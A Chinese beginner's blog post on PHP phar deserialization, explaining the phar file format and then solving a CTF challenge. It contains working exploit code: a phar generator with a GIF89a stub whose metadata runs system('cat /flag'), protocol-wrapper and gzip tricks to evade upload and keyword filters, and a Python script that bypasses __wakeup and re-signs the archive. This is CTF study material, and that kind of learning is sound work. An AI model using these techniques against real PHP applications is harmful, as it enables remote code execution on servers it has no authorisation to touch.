初学phar反序列化
以下内容参考大佬博客:PHP Phar反序列化浅学习 - 跳跳糖
首先了解phar是什么东东
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
默认开启版本 PHP version >= 5.3
结构:
1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名
我们直接按照模板生成一个看看就能了解这个结构是什么意思了
先设置php.ini,phar.readonly = Off,注意要删除“;”分号,我在这疑惑了挺久
ini_set('phar.readonly',0); ==>是行不通的,不是所有的设置都能通过ini_set设置
生成模板:
#get_phar.php
<?php
class test{public $name="test";function __destruct(){echo $this->name . " is a web vegetable dog ";}
}
$a = new test();
$a->name="bthcls";
$bthcls=new phar('bthcls.phar',0);//后缀名必须为phar
$bthcls->startBuffering();//开始缓冲 Phar 写操作
$bthcls->setMetadata($a);//自定义的meta-data存入manifest
$bthcls->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$bthcls->addFromString("test.txt","test");//添加要压缩的文件
$bthcls->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
访问get_phar.php,010分析生成的bthcls.phar
具体如下
Stub
Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下
xxx<?php xxx; __HALT_COMPILER();?>
这行代码的含义,也就是说前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER()
,没有这个,PHP就无法识别出它是Phar文件。
这个其实就类似于图片文件头,比如gif文件没有GIF89A
文件头就无法正确的解析图片
manifest
a manifest describing the contents
,用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data
contents
the file contents
,这里用于存放Phar文件的内容
signature
[optional] a signature for verifying Phar integrity (phar file format only)
,签名(可选参数),位于文件末尾,签证尾部的01
代表md5加密,02
代表sha1加密,04
代表sha256加密,08
代表sha512加密,签名就是hash校验的意思
绕过方式
存在漏洞,就会存在防护,通常针对Phar反序列化也是有防范的。这里简单的总结一下常见的绕过方式。
更改文件格式
我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器,而如果服务端存在防护,比如这种
$_FILES["file"]["type"]=="image/gif"
要求文件格式只能为gif
,这个时候我们该怎么办呢?
这个时候我们需要朝花夕拾,重提一下PHP识别Phar文件的方式。PHP通过Stub
里的__HALT_COMPILER();
来识别这个文件是Phar文件,对于其他是无限制的,这个时候也就意味着我们即使对文件后缀和文件名进行更改,其实质仍然是Phar文件。
示例代码
<?phpclass Test {public $name;function __construct(){echo "I am".$this->name.".";}}$obj = new Test();$obj -> name = "quan9i";$phar = new Phar('test.phar');$phar -> startBuffering(); //开始缓冲 Phar 写操作$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头$phar ->addFromString('test.txt','test'); //要压缩的文件$phar -> setMetadata($obj); //将自定义meta-data存入manifest$phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
在浏览器上访问此文件生成test.phar文件,用010editor查看
随便找一个分析文件格式的
变成Gif格式,这种上传一般可以绕过大多数上传检测。
绕过phar关键词检测
Phar反序列化中,我们一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx
来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,示例代码如下
if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){die();
}
绕过的话,我们的办法是使用各种协议来进行绕过,具体如下
1、php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter伪协议来进行绕过
2、compress.bzip2://phar:///test.phar/test.txt
//使用bzip2协议来进行绕过
3、compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib协议进行绕过
绕过__HALT_COMPILER检测
我们在前文初识Phar时就提到过,PHP通过__HALT_COMPILER
来识别Phar文件,那么出于安全考虑,即为了防止Phar反序列化的出现,可能就会对这个进行过滤,示例代码如下
if (preg_match("/HALT_COMPILER/i",$Phar){die();
}
这里的话绕过思路有两个
1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();
?>
2、将生成的Phar文件进行gzip压缩,压缩命令如下
gzip test.phar
效果如下
压缩后同样也可以进行反序列化
那么在ctf里如何利用他的反序列化?以一道题为例
[NSSRound#4 SWPU]1zweb
不想浪费金币,所以不再开环境了。。下面是我复制的源码
#index.php
<html><head><title>1zWeb</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<form action="./" method="post" onsubmit="return enter()" class="form"><h2 class="form__title">查询文件</h2><input type="text" placeholder="请输入文件名" name="file" class="input" /><button class="btn" type="submit" name="submit">查看</button>
</form>
<form action="./upload.php" enctype="multipart/form-data" method="post"><h2 class="form__title">上传文件</h2><input type="file" name="file"><button type="submit" name="submit">上传</button>
</form>
</html>
<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){echo file_get_contents($file);
}#upload.php
<html><head><title>1zWeb</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
</html>
<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>
两个功能点,一个任意文件读取(file_get_contents),一个文件上传(上传格式为白名单图片,内容不含__HALT_COMPILER();)
这里的文件读取没有做限制,所以可以直接读取/flag
实际考察的方法是phar反序列化,绕过内容限制、后缀和__wakeup()
那么我们第一步先生成phar
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="Misc";$this->dky="Re";$this->cmd="system('cat /flag');";}
}
$bthcls = new LoveNss();
$tttang=new phar('bthcls.phar',0);//后缀名必须为phar
$tttang->startBuffering();//开始缓冲 Phar 写操作
$tttang->setMetadata($bthcls);//自定义的meta-data存入manifest
$tttang->setStub("GIF89a<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$tttang->addFromString("test.txt","test");
$tttang->stopBuffering();*/
再利用python脚本绕过,注意修改过内容后需重新签名!
import gzip
from hashlib import sha1
with open('E:\\phpstudy_pro\\WWW\\study\\bthcls.phar', 'rb') as file:f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('E:\\phpstudy_pro\\WWW\\study\\bthcls.png', 'wb') as file:#更改文件后缀file.write(newf)
最后上传bthcls.png,读取phar://upload/bthcls.png就结束了
写博客还是不习惯,以后还是写md吧...
相关文章:
初学phar反序列化
以下内容参考大佬博客:PHP Phar反序列化浅学习 - 跳跳糖 首先了解phar是什么东东 Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 默认开…...
嵌入式web项目框架解读
文章目录 前言一、阅读Makefile可以迅速了解整个项目框架二、项目框架中的服务器:boa三、接口:cgi四、项目文件总结 前言 项目框架敬上!!! 一、阅读Makefile可以迅速了解整个项目框架 项目中的Makefile主要分为三个部…...
MySQL什么情况下会死锁,发生了死锁怎么处理呢?
🏆作者简介,黑夜开发者,CSDN领军人物,全栈领域优质创作者✌,CSDN博客专家,阿里云社区专家博主,2023年6月CSDN上海赛道top4。 🏆数年电商行业从业经验,历任核心研发工程师…...
数字孪生行业相关政策梳理--智慧水利领域相关政策(可下载)
自2021年国家“十四五”规划纲要提出“探索建设数字孪生城市”以来,国家发展和改革委员会、工业和信息化部、住房和城乡建设部、水利部、农业农村部等部门纷纷出台政策,大力推动数字孪生在千行百业的落地发展。这些政策不仅为数字孪生的应用提供了广阔的…...
SQL plus简单使用
查看Oracle数据库全部数据库 数据库名称 SELECT name FROM v$database;这将返回所有数据库的名称。 视图 通过SQL查询dba_registry视图: 另一个查看数据库的方法是查询dba_registry视图,该视图包含了数据库中安装的所有组件的信息。以下是示例SQL查询…...
pnpm入门教程
一、概述 1、更小 使用 npm 时,依赖每次被不同的项目使用,都会重复安装一次。 而在使用 pnpm 时,依赖会被存储在内容可寻址的存储中。 2、更快 依赖解析。 仓库中没有的依赖都被识别并获取到仓库。目录结构计算。 node_modules 目录结构是…...
JADE盲分离算法仿真
JADE算法原理 JADE 算法首先通过去均值预白化等预处理过程得到解相关的混合信号,预处理后的信号构建的协方差矩阵变为单位阵,为后续的联合对角化奠定基础;其次,通过建立四阶累积量矩阵,利用高阶累积量的统计独立性等性…...
CMake教程-第 1 步:基本起点
CMake教程-第 1 步:基本起点 1 CMake教程介绍2 学习步骤Step 1: A Basic Starting PointStep 2: Adding a LibraryStep 3: Adding Usage Requirements for a LibraryStep 4: Adding Generator ExpressionsStep 5: Installing and TestingStep 6: Adding Support for…...
Linux 或者 Docker 容器通过 date 设置系统时间
目录 1. Linux2. Docker 容器2.1 进入容器内部修改2.2 可能会遇到的问题 1. Linux 要在Linux系统中设置日期和时间,可以使用date命令。 使用以下命令格式来设置日期和时间: sudo date -s "YYYY-MM-DD HH:MM:SS"其中,YYYY表示年份…...
Docker 容器中运行 Kibana
Kibana 的 Docker 镜像可以从 Elastic 官网上的 Docker 镜像仓库获取。该镜像是随 X-Pack 一起打包的。 X-Pack 在这个 image 中是预装好的。安装了 X-Pack,Kibana 会去连接同样带有 X-Pack 的 Elasticsearch 集群。 获取镜像 向 Elastic Docker 仓库发送一条 do…...
【23种设计模式】建造者模式【⭐⭐⭐】
个人主页:金鳞踏雨 个人简介:大家好,我是金鳞,一个初出茅庐的Java小白 目前状况:22届普通本科毕业生,几经波折了,现在任职于一家国内大型知名日化公司,从事Java开发工作 我的博客&am…...
进阶指针(一)
✨博客主页:小钱编程成长记 🎈博客专栏:进阶C语言 进阶指针(一) 0.回顾初阶指针1.字符指针1.1 相关面试题 2.数组指针3.指针数组3.1 数组指针的定义3.2 &数组名VS数组名3.3 数组指针的使用 4.数组传参和指针传参4.…...
Linux: code: name: void dev_deactivate(struct net_device *dev)
一开始看这个函数,还以为要做,网卡设备的down操作。 后来一看代码,原来这个函数是在net/sched/sch_generic.c 文件里,而且不是要做网络接口的down操作。操作的结果是:deactivate transmissions on several devices&…...
语义分割——灰度图像转伪彩色图像
目录 检验灰度图检验代码 灰度图转伪彩色图代码转换代码使用细则 示例转换结果总结 检验灰度图 制作语义分割数据集或用训练好模型测试图像时,得到的结果是灰度图像,如下: 检验代码 上面图像灰度值不是全是全为0,灰度范围在[0…...
观察级水下机器人使用系列之七机械手臂
本期是观察级水下机器人使用系列的最后一期,主要讲ROV所使用的机械臂。机械臂正式名称为5功能电动机械,型号为BE-500,由法国公司Ocean Innovation System设计的,可代替人工进行水下作业,完成海底样品采集、打捞、设备定…...
char s[]和char *s的区别,数组和指针的,堆和栈指针的一些思考
最近在学习的时候看到一个概念,数组不等价于指针,很合理但又很难理解。 例如char s[]和char *s有什么区别,前者是数组,后者是指针,个人学习成果如下: 1.char s[]和char *s的区别 char s[]: …...
Flutter快速入门学习(二)
目录 Dart介绍 一些Dart的重要概念 Dart语法学习 变量 内建类型 Number String Boolean List Set Map Symbol 函数 参数类型(可选参数,必选参数) 函数作为另一个函数的参数 匿名函数 运算符 关系运算符 类型判定运算符 赋…...
【Phoenix】phoenix实现每个Primarykey主键保留N版本数据,CDC数据记录为Changelog格式
一、背景: CDC数据中包含了,数据的变更过程。当CDC写入传统数据库最终每一个primary key下会保存一条数据。当然可以使用特殊手段保存多分记录但是显然造成了数据膨胀。 另外数据湖Hudi(0.13.1)是不支持保存所有Changelog其Compaction机制会清除所有旧版…...
阿里云服务器开放的一个新端口,重启防火墙,端口未启动
问题: 阿里云网页开放的一个新端口后,重启防火墙,端口未启动,之前配置的也都停止了。 解决: 原因可能是阿里的服务控制了,只能一个个端口开启了。把新配置新端口也单独启用。 开启80端口指令 firewall-cm…...
【PHPCUSTOM】打包PHP程序为EXE
目录 一、下载PHPCUSTOM 二、PHP网站打包 1、打开PHPCUSTOM 2、配置参数 3、生成exe文件 网上很多PHP程序打包成EXE的文章,但是都不能用,最后找到了PHPCUSTOM,使用PHPCUSTOM可以把PHP程序打包成exe。我们都知道PHP是服务端语言ÿ…...
药品咨询报告合集整理平台打包(一共36597份)【专题推荐】
<医药行业从业者必看>笔者今天分享高价值医药行业报告36500余份的获取/下载方法,报告涵盖了医药细分领域研究报告药品报告(所有上市药品)医药行业分析报告医药环境观察报告药品市场调研报告药品靶点研究报告医药白皮书;数据…...
数字化管理新革命,AI数字人CEO登场引领变革!
王一博老板乐华娱乐CEO杜华推出了她的双生数字人华华子,专门替自己直播卖货。在没有任何宣传的情况下,仅仅在短短的10分钟直播时间内,观众人数就飙升至30万人!同时,“杜华AI华华子直播”更是迅速登上了微博热搜榜。这一…...
FPGA/数字IC(芯海科技2022)面试题 2(解析版)
以下仅为学习参考(非原创),如有疑惑欢迎评论区指出! 一、单选题(共20题,每题3分,共60分) 1. D触发器:Tsetup3ns,Thold1ns,Tck2q1ns, 该D触发器最大可运行时…...
SpringMVC之JSON数据返回与异常处理机制---全方面讲解
一,JSON数据返回的理解 在Spring MVC中,当需要将数据以JSON格式返回给客户端时,可以使用ResponseBody注解或RestController注解将Controller方法的返回值直接转化为JSON格式并返回。这使得开发者可以方便地将Java对象转换为JSON,并…...
信息化发展53
数据标准化 1 、数据标准化是实现数据共享的基础。 2 、数据标准化的主要内容包括元数据标准化、数据元标准化、数据模式标准化、数据分类与编码标准化和数据标准化管理。 元数据标准化 1 、元数据是关于数据的数据( Data About Data )。其实质是用于…...
Java学习笔记——字符/字符串
在 Java 语言中,字符串都被设计成「不可变」的类型,即无法直接修改字符串的某一位字符,需要新建一个字符串实现 StringBuilder 字符 字符是用单引号括起来的单个字母,在Java中,表示字符的数据类型为char。一个字符…...
数据结构与算法基础-(1)
🌈write in front🌈 🧸大家好,我是Aileen🧸.希望你看完之后,能对你有所帮助,不足请指正!共同学习交流. 🆔本文由Aileen_0v0🧸 原创 CSDN首发🐒 如…...
华为云云耀云服务器L实例评测|轻量级应用服务器对决:基于 STREAM 深度测评华为云云耀云服务器L实例的内存性能
本文收录在专栏:#云计算入门与实践 - 华为云 专栏中,本系列博文还在更新中 相关华为云云耀云服务器L实例评测文章列表如下: 华为云云耀云服务器L实例评测 | 从零开始:云耀云服务器L实例的全面使用解析指南华为云云耀云服务器L实…...
Windows安装Neo4j
图数据库概述 图数据库是基于图论实现的一种NoSQL数据库,其数据存储结构和数据查询方式都是以图论(它以图为研究对象图论中的图是由若干给定的点及连接两点的线所构成的图形)为基础的, 图数据库主要用于存储更多的连接数据。 Neo…...
vue3开发必备核心要点
1、route/router的区别 ● $route 表示当前激活的路由的状态信息,包含了当前URL解析得到的信息,包含当前的path路径,params参数,query对象,name路径名等属性 ● r o u t e r 路由器对象( n e w 的路由器对…...
php网站开发ppt/百度域名收录提交入口
本来可以很欢乐的,结果由于参与人数众多,服务器过于土豆,硬是把手速场变成网速场。难度cf div3左右。 赛后中了抽奖23333然而只能选T恤,不能选日系短裙,不然就送hry裙子好了 (此处呲牙笑 大模拟我就不补了,…...
常州本地网站/windows优化大师官方网站
1.什么是multidict词典> 在python中,“ multidict ”一词用于指代字典,在字典中可以将单个键映射到多个值。例如 多重结构 multidictWithList {key1 : [1, 2, 3],key2 : [4, 5]}multidictWithSet {key1 : {1, 2, 3},key2 : {4, 5}}1. list如果要保留…...
专业的网页设计和网站建设公司/设计公司网站
触发响应用户行为和GUI事件的操作使用信号和槽构建复杂的应用程序行为,并使用自定义事件覆盖小部件事件处理。如前所述,用户与Qt应用程序的每次交互都会生成一个事件。事件有多种类型,每一种都代表一种不同类型的交互—例如鼠标或键盘事件。发…...
兰州做网站公司/站点推广是什么意思
每年都有无数年轻程序员,加入软件行业。他们在学校里学过编程,但是对这个行业的现实一无所知。Patrick McKenzie 是美国一家小软件公司的老板,他写了一篇长文,介绍这个行业的一些实际情况。 原文:https://www.kalzumeu…...
旅行社网站 模板/网站代搭建维护
数据库连接是一种关键的有限的昂贵的资源,这一点在多用户的网页应用程序中体现得尤为突出。对数据库连接的管理能显著影响到整个应用程序的伸缩性和健壮性,影响到程序的性能指标。数据库连接池正是针对这个问题提出来的。数据库连接池负责分配、管理和释…...
上海协策网站制作/建站系统
题目描述 链接 输出一个二叉搜索树的最后两层结点个数a和b,以及他们的和 分析 用链表存储,建立,注意一定记住insert &加引用,以及rootNULL时新建结点的几个操作dfs求cnt[layer]#include<bits/stdc.h> using namespace s…...